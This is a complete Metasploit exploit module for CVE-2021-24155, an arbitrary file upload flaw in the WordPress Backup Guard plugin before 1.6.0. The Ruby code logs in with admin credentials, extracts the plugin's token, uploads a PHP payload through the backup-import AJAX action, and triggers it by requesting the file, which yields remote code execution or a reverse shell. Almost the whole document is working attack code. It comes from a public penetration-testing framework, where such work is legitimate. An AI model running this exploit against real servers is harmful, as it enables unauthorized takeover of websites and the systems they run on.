## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plugin Backup Guard - Authenticated Remote Code Execution', 'Description' => %q{ This module allows an attacker with a privileged Wordpress account to launch a reverse shell due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0. This is due to an incorrect check of the uploaded file extension which should be of SGBP type. Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/.php` }, 'License' => MSF_LICENSE, 'Author' => [ 'Nguyen Van Khanh', # Original PoC, discovery 'Ron Jost', # Exploit-db 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module ], 'References' => [ ['EDB', '50093'], ['CVE', '2021-24155'], ['CWE', '434'], ['WPVDB', 'd442acac-4394-45e4-b6bb-adf4a40960fb'], ['URL', 'https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail='] ], 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Wordpress Backup Guard < 1.6.0', {}] ], 'Privileged' => false, 'DisclosureDate' => '2021-05-04', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']) ] end def check return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online? cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) return CheckCode::Detected('Authentication to Wordpress failed.') unless cookie check_plugin_version_from_readme('backup', '1.6.0') end def get_token(cookie) r = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'), 'Referer' => full_uri('/wp-admin/users.php'), 'vars_get' => { 'page' => 'backup_guard_backups' } }) fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r res = r.body.to_s.match(/&token=(\h+)/) fail_with(Failure::UnexpectedReply, 'Failed to retrieve the token.') unless res res[1] end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::UnexpectedReply, 'Authentication failed') unless cookie token = get_token(cookie) fail_with(Failure::UnexpectedReply, 'Failed to retrieve the Backup Guard token') unless token payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php" post_data = Rex::MIME::Message.new post_data.add_part(payload.encoded, 'text/php', nil, "form-data; name='files[]'; filename=#{payload_name}") print_status("Uploading file \'#{payload_name}\' containing the payload...") r = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/wp-admin/admin-ajax.php'), 'headers' => { 'Origin' => full_uri(''), 'Referer' => full_uri('/wp-admin/admin.php?page=backup_guard_backups'), 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_get' => { 'action' => 'backup_guard_importBackup', 'token' => token }, 'cookie' => cookie, 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200 register_files_for_cleanup(payload_name.to_s) print_status('Triggering the payload ...') send_request_cgi( 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/backup-guard/#{payload_name}") ) end end